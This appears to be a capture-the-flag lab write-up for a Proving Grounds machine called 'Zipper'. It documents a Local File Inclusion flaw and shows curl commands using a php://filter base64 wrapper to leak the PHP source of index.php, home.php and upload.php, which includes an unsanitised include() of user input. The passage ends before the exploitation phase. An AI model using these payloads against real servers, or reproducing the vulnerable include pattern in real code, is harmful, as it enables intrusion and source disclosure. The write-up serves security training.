LFI
A Local File Inclusion (LFI) vulnerability has been identified in the file
parameter of the index.php
file. The application automatically appends a .php
extension to the user-supplied input. As a result, requests such as index.php?file=home
are processed as home.php
PHP Wrappers
I can attempt to read the source code using PHP wrappers
The extension, .php
, has to be omitted as it will be appended by the backend
index.php
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/zipper]
└─$ curl -s http://$IP/index.php?file=php://filter/convert.base64-encode/resource=index | base64 -d
<?php
$file = $_GET['file'];
if(isset($file))
{
include("$file".".php");
}
else
{
include("home.php");
}
?>
It was indeed using the PHP include function
home.php
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/zipper]
└─$ curl -s http://$IP/index.php?file=php://filter/convert.base64-encode/resource=home | base64 -d
<!DOCTYPE html>
<html lang="en" >
<head>
<meta charset="UTF-8">
<title>Zipper</title>
<meta name="viewport" content="width=device-width, initial-scale=1", shrink-to-fit=no"><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css">
<link rel='stylesheet' href='https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.0.0-beta.2/css/bootstrap.min.css'>
<link rel='stylesheet' href='https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css'><link rel="stylesheet" href="./style.css">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css">
</head>
<body>
<?php include 'upload.php'; ?>
<!-- partial:index.partial.html -->
<nav class="navbar navbar-expand-md navbar-dark fixed-top bg-dark">
<a class="navbar-brand" href="#">
<i class="fa fa-codepen" aria-hidden="true"></i>
Zipper
</a>
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarsExampleDefault" aria-controls="navbarsExampleDefault" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarsExampleDefault">
<ul class="navbar-nav mr-auto">
<li class="nav-item active">
<a class="nav-link" href="/index.php?file=home">Home <span class="sr-only">(current)</span></a>
</li>
</ul>
<form class="form-inline my-2 my-lg-0">
<input class="form-control mr-sm-2" type="text" placeholder="Search" aria-label="Search">
<button class="btn btn-outline-light my-2 my-sm-0" type="submit">Search</button>
</form>
</div>
</nav>
<!-- Main jumbotron for a primary marketing message or call to action -->
<div class="jumbotron">
<div class="container">
<h1 class="display-3">Welcome to Zipper!</h1>
<p class="lead">
With this online ZIP converter you can compress your files and create a ZIP archive. Reduce file size and save bandwidth with ZIP compression.
Your uploaded files are encrypted and no one can access them.
</p>
<hr class="my-4">
<div class="page-container row-12">
<h4 class="col-12 text-center mb-5">Create Zip File of Multiple Uploaded Files </h4>
<div class="row-8 form-container">
<?php
if(!empty($error)) {
?>
<p class="error text-center"><?php echo $error; ?></p>
<?php
}
?>
<?php
if(!empty($success)) {
?>
<p class="success text-center">
Files uploaded successfully and compressed into a zip format
</p>
<p class="success text-center">
<a href="uploads/<?php echo $success; ?>" target="__blank">Click here to download the zip file</a>
</p>
<?php
}
?>
<form action="" method="post" enctype="multipart/form-data">
<div class="input-group">
<div class="input-group-prepend">
<input type="submit" class="btn btn-primary" value="Upload">
</div>
<div class="custom-file">
<input type="file" class="custom-file-input" name="img[]" multiple>
<label class="custom-file-label" >Choose File</label>
</div>
</div>
</form>
</div>
</div>
</div>
</div>
<div class="container">
<footer>
<p>© Zipper 2021</p>
</footer>
</div> <!-- /.container -->
<!-- partial -->
<script src='https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.13.0/umd/popper.min.js'></script>
<script src='https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.0.0-beta.2/js/bootstrap.bundle.min.js'></script>
</body>
</html>
The home page contains the <?php include 'upload.php'; ?>
line to include the upload.php
file
upload.php
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/zipper]
└─$ curl -s http://$IP/index.php?file=php://filter/convert.base64-encode/resource=upload | base64 -d
<?php
if ($_FILES && $_FILES['img']) {
if (!empty($_FILES['img']['name'][0])) {
$zip = new ZipArchive();
$zip_name = getcwd() . "/uploads/upload_" . time() . ".zip";
// Create a zip target
if ($zip->open($zip_name, ZipArchive::CREATE) !== TRUE) {
$error .= "Sorry ZIP creation is not working currently.<br/>";
}
$imageCount = count($_FILES['img']['name']);
for($i=0;$i<$imageCount;$i++) {
if ($_FILES['img']['tmp_name'][$i] == '') {
continue;
}
$newname = date('YmdHis', time()) . mt_rand() . '.tmp';
// Moving files to zip.
$zip->addFromString($_FILES['img']['name'][$i], file_get_contents($_FILES['img']['tmp_name'][$i]));
// moving files to the target folder.
move_uploaded_file($_FILES['img']['tmp_name'][$i], './uploads/' . $newname);
}
$zip->close();
// Create HTML Link option to download zip
$success = basename($zip_name);
} else {
$error = '<strong>Error!! </strong> Please select a file.';
}
}
Checking the source code of the upload.php
file reveals that the archiving operation itself is made using the PHP’s ZipArchive class
Moving onto the Exploitation phase